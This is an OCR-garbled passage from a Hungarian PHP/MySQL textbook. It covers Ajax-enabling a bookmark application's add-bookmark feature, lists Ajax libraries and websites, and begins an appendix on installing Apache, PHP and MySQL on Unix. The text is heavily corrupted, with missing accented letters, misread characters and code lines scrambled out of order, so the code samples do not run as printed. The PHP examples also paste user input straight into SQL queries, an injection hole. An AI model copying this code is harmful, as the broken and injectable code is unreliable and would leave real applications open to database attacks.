sajatKeres.send(parameterek);

Az rtkek eltt hrom krsfejlcet is elkldnk, hogy a kiszolgl tudja, miknt kezelj e a POST krsben kldtt adatokat:
sajatKeres.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); parameterek.length); sajatKeres.setRequestHeader("Content-length", sajatKeres.setRequestHeader("Connection",

"close");

A folyamat kvetkez lpse a kiszolgl vlaszt kezel JavaScript fggvny ltrehozsa; kdunkban a hozzaadKJValasz nevet adtuk ennek a fggvnynek:
sajatKeres.onreadystatechange = hozzaadKJValasz;

612

34. fejezet

Ez a kd is hasonlt a fejezet korbbi rszben ltrehozott aHTTPValasz fggvnyhez. A hozzaadKJValasz fggvny kdjt a 34.7 pldakd tartalmazza. 34.7 pldakd: A hozzaadKJValasz() JavaScriptfggvny
function hozzaadKJValasz () if (sajatKeres.readyState

{
==

4) {

if(sajatKeres.status == 200)

eredmeny = sajatKeres.responseText; document.getElementByid('eredmenymegjelenitese') .innerHTML else eredmeny;

alert('Hiba trtnt a krs teljestse kzben.');

A fenti JavaScript fggvny elszr is ellenrzi az objektum llapott; ha befejezte feladatt, ellenrzi, hogy a kiszolgltl kapott vlaszkd vajon 200, azaz ok-e. Ha nem 20 O, a.,Hiba trtnt a krs teljestse kzben:' figyelmeztetst jelenti meg. Ha brmilyen ms vlasz jn a kj_hozzaactasa.php kd vgreh:ytsbl, az megjelenik egy eredmenymegjelenitese
id rtk div cmkben. Az eredmenymegjelenitese id jelen pillanatban fehr httrknt definilt az uj_ss. ess

stluslapban:
#eredmenymegjelenitese background: #fff;

A kj_hozzaad_urlap_megjelenitese ( ) PHP fggvnyhez-annak zr form cmkje utn- az albbi kdsort adtuk hozz; ez az a div, amelyben a kiszolgltl kapott eredmnyt megjelentjk a felhasznlnak:
<div id="eredmenymegjelenitese"></div>

Most pedig az kvetkezik, hogy mdostjuk a meglv kj_hozzaadasa.php kdot.

Tovbbi mdostsok a meglv kdban


Amennyiben a kj_hozzaadasa.php kd mindennem mdostsa nlkl prblnnk meg felvenni egy j knyvjelzt, a felhasznli jogosultsgok s a knyvjelz hozzadsnak folyamata prmn mkdne. Ennek ellenre a 34.4 brn lthat hoz hasonlan zavaros eredmnyt kapnnk: a log, a fejlc s a lblcben lv hivatkozsok dupln jelennnek meg.

. -:- r- .-- --- . 1:! _


--

A,

PHPbookmark

34

Krly'ljftzk houadba

F"'"J

PHPbookmark

Konyv}elz6k hoz.Uadiu

IWS::::'" -

o
o

34.4 bra: Knyvjelz hozzadsa a kj_hozzaadasa. php kd mdostsa eltt. Emlkezznk vissza, hogy a PHPbookmark alkalmazs nem aJaxos vltozatban kln oldalon jelenik meg az rlap s az rlap elkldsnek eredmnye, illetve minden alkalommal az sszes oldalelem betltdik. Az Ajaxot tmogat krnyezetben azonban azt szeretnnk, hogy ha felvesznk egy j knyvjelzt, akkor anlkl kapjuk vissza a kiszolgltl az eredmnyeket, s

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

613

folytathassuk a knyvjelzk hozzadst, hogy brmely oldalelemet jra be kellene tlteni. Ez az j fajta mkdsi md vltoz tatsokat ignyel a kj_ hoz zaadasa. php kdban, amelynek eredeti vltozatt a 34.8 pldakdban lthatjuk. 34.8 pldakd: Az eredeti kj_hozzaadasa.php kd
<?php require_once('konyvjelzo_fuggvenyek.php'); session_start();

ll rvid vltoznv ltrehozsa $uj_url = $_POST['uj_url'];

html fejlee letrehozasa('Konyvjelzk hozzadsa'); try

{ (! kitoltott($_POST)) {
throw new Exception('Az rlap nincs teljesen kitltve. ');

ervenyes_felhasznalo_ellenorzese(); if

ll URL formtumnak ellenrzse if (strstr($uj_url, 'http:ll') === false)

$uj url = 'http:ll'.$uj_url;

ll URL rvnyessgnek ellenrzse if

(! (@fopen($uj url,

'r')))

throw new Exception('rvnytelen URL.');

ll megprblja hozzadni az j knyvjelzt kj_hozzaadasa($uj_url); echo 'Knyvjelz hozzadva.';

ll a felhasznl ltal elmentett knyvjelzk lekrse if ($url_tomb


=

felhasznaloi_url_lekerdezese($ SESSION['ervenyes felhasznalo']))

felhasznaloi_url_megjelenitese($url tomb);

catch (Exception $e)

echo $e->getMessage();

34

felhasznaloi_menu_megjelenitese(); html_lablec letrehozasa(); ?>

A kd els sora belesti a konyvjelzo fuggvenyek.php fjl sszes elemr. Ha megnzzk a konyvjelzo_
_

fuggvenyek. php tartalmr, lthatjuk, hogy a fjl tovbbi fjlok sorozatt hvja meg: <?php ll Ezt a fjlt az sszes fjlba beilleszthetjk, ll gy mindegyik tartalmazni fogja fggvnyeinket s kivteleinket require_once('adat_ellenorzo_fuggvenyek.php'); require_once('adatbazis_fuggvenyek.php'); require_once('felhasznaloi_hitelesites_fuggvenyek.php'); require_once('kimeneti_fuggvenyek.php'); require once('url fuggvenyek.php'); ?>

614

34.fezer

Ugyan az alkalmazs Ajaxor rmogar verzijnak knyvjelzk hozzadsra szolgl rszben nem biztos, hogy a fenti ele mek mindegyikre szksgnk lesz, az elejn lv megjegyzs mindenr megmagyarz: mindegyik (fjl} tartalmazni fogja fggvnyeinket s kivteleinket. ilyen helyzetben, amikor dinamikus oldalak sorozarrl prblunk tllni mindent az egyben tartalmaz ajaxos mkdsre, jobb megtartani nhny, esedeg feleslegesnek bizonyul elemet, minrsem eltvoltani egy-egy fontos funkcit. ppen ezrt hagyjuk meg a kj_hozzaadasa. php fjl els sort gy, ahogy van! A msodik sort, amely j felhasznli munkamenetet indt vagy meglvt folytat, szintn ne vltoztassuk meg! A mvelet Ajaxot tmogat verzijban is szksgnk van a biztonsgra. Ugyangy hagyjuk vltozatlanul a harmadik sort is, amelyben rvid vltoznevet ( Suj_url ) adunk a krsben elkldtt POST rtknek:
$uJ_url
=

$ POST['uj_url'];

Ezzel eljutottunk odig, hogy vgre-valahra eltvoltharunk valamir, nevesen az albbi sort:
html_fejlec_letrehozasa('Knyvjelzk hozzadsa'};

Mivel mr gyis a HTML fejlc-informcit tartalmaz oldalon ( kj_ hozzaactasa_urlap. php) vagyunk, nincs rtelme megismtelni azr, hiszen nem megynk msik oldalra. Ez az ismdds eredmnyezi a 34.4 brn ltott dupla fejlcet. Hason l okok miatt szabaduljunk meg a kj_hozzaactasa. php kd vgn tallhat kt sortl is:
html lablec letrehozasa(};

felhasznaloi_menu_megjelenitese(};

Ha eltvoltjuk ezeket az elemeket, feltltjk a fjlt a kiszolglra, majd megprblunk az alkalmazsban hozzadni egy knyvjelzr, megkzeltleg a vrt eredmnyt kapjuk.Nhny tovbbi mdostsra azonban mg mindig szksg van.A 34.5 brn azt lthatjuk, hogy a kdban az eddig a pontig vgrehajtott vltoztatsokkal hogyan jelenik meg az alkalmazs. Mg nndig ktszer jelenik meg a felhasznl llapotra vonatkoz informci (bejelentkezett), de az sszkp mr nem annyira zavar, mint az elbb. A kvetkez lps a dupln megjelen zenetek eltvoltsa, illetve a kd kivtelkezelshez kap csold rsznek mdosrsa, hogy az Ajax krnyezetben is megfelel legyen.

1--E:..:,------7i: 7:2
PHPbookmaf1t
KnyvjekOk hozzJadsa ..- --

...

T n-.,.

._

PHPbookmark
K6nyvjetz6k hozziiidba
--- A._,_".,_.___,_

----o

34.5 bra: A

knyvjelz hozzadsakor lthat oldal a kj_ hozzaadasa. php kd els mdostsa utn.

34

A felhasznl bejelentkezsi nevt tartalmaz zenet msodik pldnynak trlshez tvoltsuk el a kj_hozzaadasa. php kdbl az albbi sort:
ervenyes felhasznalo_ellenorzese(};

A felhasznl ellenrzse a kj_hozzaadasa_urlap. php oldal betltsekor mr megtrtnr; jogosuladan felhasznl knt nem juthatnnk olyan oldalra, amely Ajax funkcikat hv meg. A kvetkez lps a kls try blokk s a kivtelkezels eltvoltsa. Erre azrt van szksg, mert azt szeretnnk, hogy a kd gy rjen vget, hogy megjelenti a felhasznlnak a mr elmentett URL-ek lisrjr. Ez azt jelenti, hogy mdostanunk kell azt, ahogy- szksg esern- a hibazenerek megjelennek. A 34.9 pldakd a kj_ hozzaadasa. php mdostort vltozatt tartalmazza.
34.9

pldakd: A

kj_hozzaactasa. php

kd mdostott vltozata

<?php require_once('konyvjelzo_fuggvenyek.php'}; session_start(};

Web 2.0-s alkalmazsok fejles::tse Ajax-programossal

615

ll rvid vltoznv ltrehozsa $uJ_url = $_POST['uj_url']; ll ellenrizzk, ll ha nincsen echo "<p class=\"warn\">Az rlap nincs teljesen kitltve.<lp>"; else hogy az rlap ki lett-e tltve! if (!kitoltott($_POST))

{
ellenrizzk s szksg esetn javtsuk ki a:: URL formtumt! 'http:ll') === false)

ll ha ki van; $uj_url

if (strstr($uj_url,

'http:ll'.$uj_url;

ll folytassuk az URL rvnyessgnek ellenr::svel! if (!(@fopen($uj_url, else 'r')))

echo "<p class=\"warn\">trvnytelen URL.<Ip>";

{
adjuk hozz az adatbzishoz!

ll ha rvnyes,

kj_hozzaadasa($uj_url); echo "<p>Knyvjelz hozzadva.<lp>";

ll a jelenlegi krs llapottl fggetlenl ll a felhasznl ltal elmentett knyvjelzk lekrse if ($url_tomb = felhasznaloi_url_lekerdezese($_SESSION['ervenyes felhasznalo'])) felhasznaloi_url_megjelenitese($url_tomb); ?>

A kd ezen vltozata is a lehetsges esemnyek logikus menett kveti, m az egyes oldalelemek megkett:l:se nlkl jelenti meg a megfelel hiba::enetet. Elsknt a::t ellenri::::k, hogy magt az rlapot kitltttk-e. Ha nem, akkor hiba::enet jelenik meg a ho::adsra s::olg l rlap s az eltrolt knyvjel::k aktulis listja k::tt. Ezt az esetet ltjuk a 34.6 brn. A msodik ellenrzs az URL megfelel formtumra vonatkok; nem megfelel formtum esetn a karakterlncot helyes URL-l alaktjuk, majd tovbbmegynk a kvetkez lpsre. Ebben az URL-t megnyitva ellenmzk rvnyessgt. Ha az URL-t nem lehet megnyitni, hiba::enet jelenik meg az rlap s az eltrolt knyvjel::k aktulis listja k::tt. Mkd URL esetn ho::::adjuk azt a felhas::nl URL-jeit trol listho::. A 34.7 brn azt a vlas::t ltjuk, amit akkor kapunk, ha rvny telen URL-t kisrink meg ho::::adni a listho::.

-=---J-=
A
PHPbookmark KDnyvjehOk houi.adba

34

1---
IIWIWMIMI __.... , _

Ef;;;:;....;.ji ..
D t

34.6 bra: res rlap elkldse.

616

34. fejezet

//HPbookmark
Knyvjelzk hozzdlso

IQIIak:s....
ll!_ --

11

.......

J
o

34.7 bra: rvnytelen URL hozzadsa.


Vgezetl - az URL ho:z;:z;adsa sorn jelentke:z; hibktl fggetlenl - megjelentjk a felhas:z;nl jelenlegi knyvjelzit. Ennek eredmnyt lthatjuk a 34.8 brn.

o o

34.8 bra: Sikerlt - rvnyes URL-t adtunk a listho:z:.


Br a knyvjel:z:k ho:z;:z;adsrt felels kdot sikeresen"ajaxostottuk'; egyes elemeknl tovbbi munka s:z;ksgeltetik. Pldul a:z; url_fuggvenyek. php fjlban tallhat kj_ho:z:zaadasa () fggvny mg mindig olyan kivteleket tartalma:z;, amelyeket mskppen kell kezelni ahho:z;, hogy a:z; j rends:z;ernek megfelel hiba:z;enetet eredmnyez:z;k. A 34.10 pldakd

34

ban a jelenlegi llapotban lthatjuk a kj_hozzaadasa() fggvnyt.

34.10 pldakd: A:z; url_fuggvenyek.php fjl kj_hozzaactasa () fggvnynek eredeti vlto:z:ata


function kj_hozzaadasa($uj_url)

ll j knyvjelz hozzadsa az adatbzishoz


echo "A ".htmlspecialchars($uj url)." hozzadsa<br l>"; $ervenyes_felhasznalo = $_SESSION['ervenyes_felhasznalo'];

$kapcsolat = adatbazishoz kapcsolodas();

ll ellenrizzk,

hogy nem ismtld knyvjelz-e!


*

$eredmeny = $kapcsolat->query("SELECT

FROM konyvjelzo

WHERE felhasznaloi_nev='$ervenyes felhasznalo' AND kj_URL='".$uj_url."'");

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

617

if ($eredmeny && ($eredmeny->num_rows>0)) throw new Exception('Mr ltez knyvjelz.');

ll j knyvjelz hozzadsa az adatbzishoz if (!$kapcsolat->query("insert into konyvjelzo values ('".$ervenyes_felhasznalo."', throw new Exception('A '" .$uj_url."')")) hozzadsa nem sikerlt.');

knyvjelz

return true;

Jelen esetben pusztn a kivteleket szeretnnk megvltoztatni, hogy hibazenetet eredmnyezzenek, s folytassk a feldolgo zst (megjelentst). Ezt gy rhegk el, ha a kt klnll if blokkot
if ($eredmeny && ($eredmeny->num_rows>0))
az

albbiak szerint mdostjuk:

echo "<p class=\"warn\">Mr ltez knyvjelz.<lp>"; else

{
INTO konyvjelzo VALUES '".$uj_url."')"))

ll j knyvjelz hozzadsa az adatbzishoz if (!$kapcsolat->query("INSERT ('".$ervenyes felhasznalo."',

echo "<p class=\"warn\">A knyvjelz hozzadsa nem sikerlt.<lp>"; else echo "<p>A knyvjelz hozzadsa sikerlt.<lp>";

A kdnak ez a vltozata is a lehetsges esemnyek logikai menett kveti, s a megfelel hibazeneteker jelenti meg. Miutn megvizsglj a, hogy
az

adott knyvjelz megtallhat-e mr a felhasznl knyvjelzi kztt, vagy hibazenet jelent meg az
az

rlap s az eltrolt knyvjelzk aktulis listja kztt, vagy megprblja hozzadni a knyvjelzt az adatbzishoz. Ha a hozzads nem hajthat vgre, megint csak hibazenet jelenik meg az rlap s a felhasznlval. Ezt
az

eltrolt knyvjelzk list:ija kztt.

Amennyiben a knyvjelzt sikeresen hozzadtuk az adatbzishoz, ..A knyvjelz hozzadsa sikerlt:' zenetet kzljk echo utastst eltvoltottuk a kj_ hozzaactasa. php kdbl, s a kj_hozzaadasa( ) fggvnybe tettk be, mert msklnben az is elfordulhatna, hogy a felhasznl,.A knyvjelz hozzadsa nem sikerlt:' zenetre!, majd kzvetlenl utna"A knyvjelz hozzadsa sikerlt:' zenettel tallkozik olyan esetben, amikor egybknt a knyvjelzt nem sikerlt felvennie. A 34.9 brn a fenti vltoztatsok eredmnyt lguk.

34
A __ ,_,_"-.-.,

---

c c

__......, , _

34.9 bra: A felhasznl mr ltez knyvjelzi prbl megfelvenni a listjra.

618

34. fejezet

Tovbbi vltoztatsi lehetsgek a PHPbookmark alkalmazsban


A knyvjelz hozzadsa funkci Ajaxot tmogat felhasznli felletr alaktsa csak egy az alkalmazson vgrehajthat szmtalan vltoztarsi lehetsg kztt. A logikusan kvetkez lps a knyvjelzk trlsi mdjnak megvltoztatsa. Ennek folyamata a kvetkezkppen nzhet ki: Tvoltsuk el az oldal lblcbl a KJ trlse hivatkozst!

Amikor a felhasznl az egyes knyvjelzk mellett lv .,Trls?" jellngyzetbe kattint, hvjunk meg egy j JavaScript fggvnyt! Mdostsuk a kj torlese. ph p kdot gy, hogy ha az j JavaScript fggvny meghvja, hajtsa vgre a trlsi folyama
_

tot, s jelentse meg a felhasznl szmra a megfelel zeneted Vgezzk el a szksges mdostsokat, hogy a mvelet megfelelen hajcdjon vgre, s a helyes zeneteket jelentse meg az j felhasznli felleten! A fejezetben lertak alapjn nllan is vgre kell tudnunk hajtani a szksges mdostsokat. Mindazonltal a kvetkez oldalakon olyan informciforrsokra szetetnnk felhvni az olvask fi.gyelmt, amelyek sokkal rszletesebben mutatjk be az Ajaxot tmogat weboldalak ltrehozsnak feladatt. Ne feledjk, hogy az Ajax olyan technolgik kombincija, amelyek egyttes alkalmazsval a grdlkenyebb hasznlat lmnyt nyjthatjuk oldalunk ltogatnak! Ehhez gyaktan arra van szksg. hogy az elejtl a vgig teljesen jragondoljuk meglv alkalmazsaink felptst s mkdst.

Tovbbi informci
A fejezetben csupn rintlegesen foglalkozhattunk az Ajaxot tmogat alkalmazsok ltrehozsnak feladatval. A Sams
Teach YourselfAjax,]avaScript and PHP All in One (Tanuljuk meg az Ajax, a JavaScript s a PHP hasznlatr!) cm kiadvny

sokkal rszletesebben trgyalja ezeket a tmakrket (s mg sok msikat), gy ha az ebben a fejezetben lertak felkeltettk r dekldsnket, rdemes lehet beleolvasni. Szmos olyan weboldal ltezik, amit rszben vagy egszben az Ajax alkalmazsokat alkot technolgiknak szemeitek, illetve az olyan kdknyvtrakbl sincs hiny, amelyek azzal segithetik munknkat, hogy megkmlnek bennnket a kerk jbli felfedezstL

Bvebben a Document Object Modelrl (DOM)


Knyvnkben PHP-vel vgzett szerveroldali programozssal s a MySQL mint a dinamikus alkalmazsokat mkdte t relcis adatbzis hasznlatval foglalkozunk. gy a kliensoldalon dolgoz nyelveket, pldul az XHT ML-t, a CSS-t, a JavaScriptet s a Document Object Modelt (DOM) csak rintettk. Ha teljesen ismeretlen szmunkra a DOM, akkor ez legyen az els tmakr, amiben annak remnyben mlylnk el, hogy egyszer majd tkletesen mkd Ajax alkalmazso kat tudunk fejleszteni! Szinte az sszes Ajax alkalmazsunk JavaScriptet fog hasznlni a DOM kezelsre. Akr megjelentsi elemekkeL bng szelzmnyekkel vagy window location objektumokkal dolgozunk, a DOM-ben elrhet objektumok s tulajdonsgok alapos ismerete elengedhetetlen azon zavartalan felhasznli lmny megteremtshez, ami az Ajax alkalmazsok fejlesztsnek a clja. A kvetkez oldalakon rengeteg hasznos informcit tallunk a DOM elsajttshoz:

34

A W3C mszak jelentsei a Document Object Modelrl: http://www.w3.org/DOM/DOMT R A DOM Scripting Task Force weboldala: http:/l domscripting.webstandards.org/ A Mozilla Developer Network dokumentumai a DOM-rl: http:/l developer.mozilla.org/en/docs/DOM (egyttal JavaScript dokumentumok tekintetben is kivl informciforrs: http:/l developer.mozilla.org/ en/docs/JavaScript)

JavaScript knyvtrak Ajax alkalmazsokhoz


Az Ajaxot tmogat alkalmazsok 2005 krl jelentek meg. Akkoriban trtnt, hogy Jesse James Garrett egy tanulmnyban megalkotta az Ajax kifejezst, mert .,nagyon krlmnyesnek tallta minden egyes alkalommal kimondani azt, hogy ,Aszinkron JavaScript+CSS+DOM+XMLHttpRequesr; amikor gyfeleinek bemutatta ezt a megkzeltst:' Az azta eltelt id bven elegendnek bizonyult az Ajax alkalmazsaink ltrehozst megknnyt JavaScript fggvnyknyvtrak elksztshez. Megjegyzs: Read Garrett .Ajax: A New Approach to Web Applications" cm rsa a http:/ /www.adaptivepath.com/
ideasiessays/ archives/000385.php oldalon rhet el.

Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal

619

A kvetkezkben nhny npszer knyvtrat sorolunk fel, de ha bngsznk egy kicsit az Ajax-fejleszti oldalakon, rvid id alatt sok msik knyvtrhoz eljutharunk. Ha ezek kzl kivlasztunk egyet (vagy tbbet), amit hasznlni kvnunk, rvi debb id alatt kszthetjk el alkalmazsainkat, mert - ahogy mr utalrunk r- nem kell jra felfedeznnk a kereket. A Prototype JavaScript Framework sszetert Ajax alkalmazsok fejlesztse esern segti munknkat azzal, hogy egy szerbb teszi a DOM-kezelst s a XMLHTTPRequest objektum hasznlatr. Tovbbi informcirt ltogassunk el a hrtp://www.prototypejs.org/ oldalra! A Dojo nylt forrskd eszkzkszlet, amely alapszintJavaScript fggvnyeket, widgetek ltrehozsra szolgl keret rendszert, valamint a kd becsomagolsra s a vgfelhasznlhoz val hatkony eljuttatsra alkalmas mechanizmust knl. Ha szeretnnk rla bvebb informcit kapni, ltogassunk el a http:/l dojoroolkit.org/ oldalra! AMochiKit a DOM-me! vgzert munkhoz szksges s a kimenetet a vgfelhasznl szmra formz fggvnyeket tartalmaz knyvtr. A MochiKit szlogenje kicsit nyersen, de szintn cloz r, hogy hasznlatval nem kevs bossz sgtl kmlhegk meg magunkat: "MochiKit makesJavaScript suck Iess:' AMochiKitben lv fggvnyek s megold sok, a fejleszrk szmra elrhet dokumentcik s aMochiKir hasznlatval ltrehozott mintaprojektek mind emlrs re rdemesek. Tovbbi informcirt menjnk a hrtp://mochikir.com/ oldalra!

Ajaxfejleszti weboldalak
Az Ajax-fejlesztsrl vgs soron gy tanulharunk a legtbbet, ha kiprbljuk. Gyjrsnk ssze kddarabkkar, gondoljuk
ki, hogyan lehet azokat meglv alkalmazsainkba beilleszteni, s tanuljunk azokrl, akik mr rgebb ta dolgoznak ezekkel a technolgikkal l Az albbi oldalakon rengeteg segitsger kaphatunk, hogy hogyan fogjunk hozz az Ajax-fejleszrsnek: Az Ajaxian fejleszti portl hreket, cikkeket, oktatanyagokat s minrakdokar knl a kezd s rapasztalt fejlesztknek. A portl a hrtp:/ /ajaxian.com/ oldalon rthet el. Az AjaxMarters rszleres s tartalmas cikkeket, rsokat kzl az Ajax-fejlesztsrL Tovbbi informcirt ltogassunk el a hrtp://www.ajaxmarters .com/ oldalra! Az Ajax Lines egy msik fejleszti portl, ami az Ajaxszal kapcsolaros hrekre s rsokra murar hivatkozsokbl ll. A portlt a hrtp://www.ajaxlines.com/ cmen rjk el.

34

A fggelk
A PHP s
a

MySQL teleptse

Az Apache, a PHP s a MySQL opercis rendszerek s webszerverek sokfle kombincijn rhet el. Ebben a fggelkben csupn nhny platformra vonatkozan mutatjuk meg, hogyan kell az Apache-t, a PHP-t s a MySQL-t telepteni s bellta ni: a Unix s a Windows Vista opercis rendszeren elrhet leggyakoribb lehetsgeket tekintjk t. Az albbi fbb tmakrkkel foglalkozunk: A PHP futtatsa CGI rtelmezknt vagy modulknt Az Apache, az SSL, a PHP s a MySQL teleptse Unix alatt Az Apache, a PHP s a MySQL teleptse Windows alatt

A telepts tesztelse a phpinfo ( ) fggvnnyel A PEAR teleptse Egyb konfigurcik lehetsge

Megjegyzs: A PHP Microsoft Internet Information Serverre vagy ms webszerverre teleptsnek folyamatval itt s most nem foglalkozunk. Ha lehetsg van r, az Apache webszerver hasznlatt javaso!juk. A Microsoft IIS-re vagy Personal Web Serverre (PWS) teleptsrl a PHP online kziknyvnek http://www.php.net/manual!en/install.windows.iis.php oldaln olvashatunk.
Jelen fggelkben olyan teleptsi tmutatt kivnunk adni, amely lehetv teszi, hogy tbb weboldalt zemeltessnk

egyeden webszerveren. Egyes oldalakon - pldul a knyv nmelyik projektjben - Secure Sockets Layer {SSL) szksges az e-kereskedelmi megoldsokhoz. A weboldalak tbbsgt kdokkal vezreljk, hogy adatbzisszerverhez kapcsoldva adatokat nyerjenek ki belle, s feldolgozzk azokat. Rengeteg olyan PHP-felhasznl ltezik, akinek soha, egyeden gpre sem kell PHP-t teleptenie. Pontosan ezrt ke rlt ez az anyag ide, a fggelkbe, nem pedig a PHP

gyorstalpal cm l. fejezetbe. Legegyszerbben gy juthatunk gyors

internetkapcsolattal s teleptett PHP-vel rendelkez, megbzhat kiszolglhoz, ha kivlasztunk egyet a szmtalan trhelyszolgltat kzl, s ignybe vesszk szolgltatsait. Attl fggen, hogy milyen clbl teleptjk a PHP-t, eltr dntseket hozhatunk. Ha van egy olyan gpnk, amelyik llandan a hlzathoz van csatlakoztatva, s ezt szeretnnk lesben mkd kiszolglknt hasznlni, akkor szmunkra a tel jestmny lesz fontos. Ha fejleszts cljra kivnunk egy szervert ignybe venni, hogy programozhassunk, s tesztelhessk rajta kdjainkat, akkor a legfontosabb, hogy az lesben zemel kiszolglhoz hasonl - vagy azzal teljesen megegyez - konfigur cival zemeljen. Ha ASP-t s PHP-t szndkozunk ugyanazon a gpen futtatni, bizonyos korltokat figyelembe kell vennnk.

Megjegyzs: A PHP rtelmez Juttathat modulknt vagy klnll CGI (Common Gateway Interface, azaz kzs Yr interfsz) binris fjlknt. A teyestmny tern jelentkez elnyei miatt ltalban a modul verzit preferyk. A CGI verzit olyan kiszolglkhoz hasznyk, amelyeken a modul verzi nem elrhet, vagy azrt vlaszYk, rnert lehetv teszi az Apache felhasznlknak, hogy klnbz Jelhasznli azonostk alatt klnbz PHP alap oldalakatJuttassanak.
Ebben a fggelkben a modul verzit mutatjuk be a PHP futtatsnak elsdleges mdszereknt.

Az Apache, a PHP s a MySQL teleptse Unix alatt


Ignyeinkrl, illetve a Unix rendszerekkel kapcsolatos ismereteink szintjtl fggen vlaszthatunk a binris fjlok teleptse {binary install) s a programoknak kzvedenl a forrsukbl val forditsa kzl. Mindkt megkzeltsnek vannak elnyei. A binris telepts legfeljebb nhny percet vesz ignybe a hozzrt szmra, s egy kezdnek sem tart sokkal tovbb, de eredmnyl olyan rendszert ad, amely minden bizonnyal egy vagy kt verzival rgebbi az aktulisnl, radsul valaki ms ltal kivlasztott belltsokkal lett konfigurlva.

622

35. fejezet

A forrsbl val teleptsnl idt kell sznni a letltsre, a teleptsre s a konfigurlsra, s az els nhny alkalommal ta ln jogosan idegenkednk tle. Ebben az esetben azonban celjes mrckben ellenrzsnk alatt carejuk a teleptse. Mi vlaszt juk ki, hogy mit teleptsnk, milyen verzit hasznljunk, s milyen konfigurcis direktvkat lltsunk be.

Binris fjlok teleptse


A legebb Linux disztribci elre kanfigurlc Apache webszerverc tartalmaz, rajta beptett PHP-vel. Hogy egszen poncosan mit kapunk, az a kivlasztott disztribcitl s verzitl fgg. A binris fjlok teleptsnek egyik htrnya, hogy ritkn j urunk a program legfrissebb verzijhoz. Attl fgg en, hogy mennyire voltak fontosak az elmlt idszak hibajavtsai, nem biztos, hogy gondot okoz szmunkra, ha rgebbi verzit ka punk. Ennl lnyegesebb, hogy nem mi vlasztjuk ki, hogy rnilyen belltsok fordtdnak be a programokba. A lehet legeugalmasabb s legmegbzhatbb t, ha a forrsaikbl forditjuk be az sszes programot, amire csak szksgnk van. Ez valamivel tbb idt vesz ignybe, minc az RPM-ek (Red Hat csomagkezelk) teleptse, ezrt ott, ahol megfelelek, vlaszthatjuk RPM-ek vagy ms binris csomagok hasznlatr. Ha hivatalos forrsban nem rhetk el az ltalunk ignyelt konfigurcij binris fjlok, keresmotorok segtsgvel akkor is tallharunk nem hivatalos verzikat.

Forrs teleptse
Teleptsk az Apache-t, a PHP-t s a MySQL-t unixos krnyezetbe! Elszr is el kell dncennk, hogy a fenti ttin tlmen en milyen extra modulokat kivnunk telepteni. Mivel a knyvben bemutatott pldk egy rszben biztonsgos szerverc hasz nlrunk a webes tranzakcikhoz, SSL-t tmogaeni kpes kiszolglt kell telepteni. A knyv cljainak megfelel PHP konfigurci tbb-kevsb megegyezik az alaprcelmezettel, m munknkhoz a gd2 knyvtrra is szksgnk van. Ez csak egyike a PHP-hoz elrhet szmtalan knyvtrnak. Azrt vettk be ezt is a teleptsi folyamatba, hogy lssuk, hogyan tehetnk a PHP-n bell ms knyvtrakat is elrhetv. A legebb Unix program fordtsa hasonl folyamat szerinc trtnik. j knyvcr teleptse utn ltalban jra kell fordtani a PHP-t, ezrt ha rudjuk elre, hogy mire van szksgnk, rdemes gpnkre az sszes knyverat telepteni, majd utna elkezdeni a PHP modul teleptst. A kvetkezkben a SuSE Linux szerverre val telepts folyamatt mucatjuk be, de lersunk elg ltalnos ahhoz, hogy ms Unix kiszolglkan is hasznt vegyk. Kezdskm gyjtsk ssze a teleptshez szksges fjlokat! Az albbi elemekre lesz szksgnk: Apache (http://httpd.apache.org/) - A webszerver OpenSSL (http://www.openssl.org/)-Nylt forrskd eszkzkszlet a Secure Sockets Layer megvalstsra MySQL (http://www.mysql.com/)-A relcis adatbzis PHP (http://www.php.net/)-A szerveroldali programozsi nyelv ftp://ftp.uu.net/graphics/jpeg/-A PDFlib-hez s gd-hez szksges JPEG knyvtr htcp://www.libpng.org/pub/png/libpng.hcml - A gd-hez szksges PNG knyvtr http://www.zlib.net/- A fenti PNG knyvtrhoz szksges zlib knyvtr http://www.libriff.org/-A PDF!ib-hez szksges TIFF knyvtr

ftp://ftp.cac.washingeon.edu/imap/ - Az !MAP ltal ignyelt !MAP c kliens

Amennyiben hasznlni kivnjuk a ma il ( ) fggvnyt, kell, hogy legyen teleptve egy MTA (maii transfer agent, azaz levlto vbbt gens), m ennek folyamatra most nem trnk ki. Felttelezzk, hogy hozzfrnk a kiszolgl gykrmappjhoz, s rendszernkre teleptve vannak a kvetkezk: gzip vagy gunzip gc c s GNU make

Ha kszen llunk a teleptsi folyamatra, elszr is tltsnk le nnden tar forrsfjlt egy ideiglenes knyvtrba! Olyan meghajtra rakjuk ket, ahol megfelel trhely ll rendelkezsnkre! Pldnkban a lusrlsrc ideiglenes knyvtrat hasznl juk. A jogosultsgi problmk elkerlse rdekben root ( rendszergazdai) felhasznlkm tltsk le a fjlokat!

MySQL teleptse

Ebben a rszben bemutatjuk, hogyan hajtsuk vgre a MySQL binris teleptst. Az ilyen tpus telepts a fjlokat automati kusan helyezi el a megfelel helyekre. Az albbi knyvtrakat vlasztottuk a tri tbbi tagjnak teleptshez: lusrllocallapache2 lusrllocallssl

A PHP s a MySQL teleptse

623

Az alkalmazsokat gy tudjuk msik knyvtrakba telepteni, ha telepts eltt megvltoztatjuk az eltag-belltst (prefix). Vgjunk bele! Az su hasznlatval vltsunk root felhasznlra:
$
su root

Ezt kveten gpeljk be a root felhasznl jelszavt! Majd vltsunk arra a knyvtrra, ahol a forrsfjlokat eltroltuk! Ese tnkben a kvetkezt kell begpelni:
#
cd /usr/src

A MySQL azt nlja, hogy ne nullrl kezdve vgezzk el a fordtst, hanem tltsk le a MySQL egy binris csomagjt. Hogy melyik verzit vlasztjuk, az attl fgg, hogy rnire szeretnnk hasznlni. Br a MySQL"prerelease" verzii ltalban igen stabilak, lesben mkd oldalon nem szoks hasznlni ket. Ha viszont sajt gpnkn tanulunk vagy ksrleteznk, nyugod tan dolgozhatunk ezekkel a verzikkal is. Az albbi csomagokat kell letlteni:
MySQL-server-VERZI.i386.rpm MySQL-Max-VERZI.i386.rpm MySQL-client-VERZI.i386.rpm

(A VERZI sz helyre kerl a konkrt verziszm. Akrmelyik verzi mellett dntnk, gyeljnk, hogy hozz megfelel kszletet vlasszunk!) Ha ezen a gpen kvnjuk ftmatni a MySQL klienst s szervert, illetve ms programokba-pldul PHP-be - be kvnjuk fordtani a MySQL tmogatst, akkor mindhrom csomagra szksgnk lesz. Az albbi utastsokat begpelve teleptsk a MySQL szervereket s a klienst:
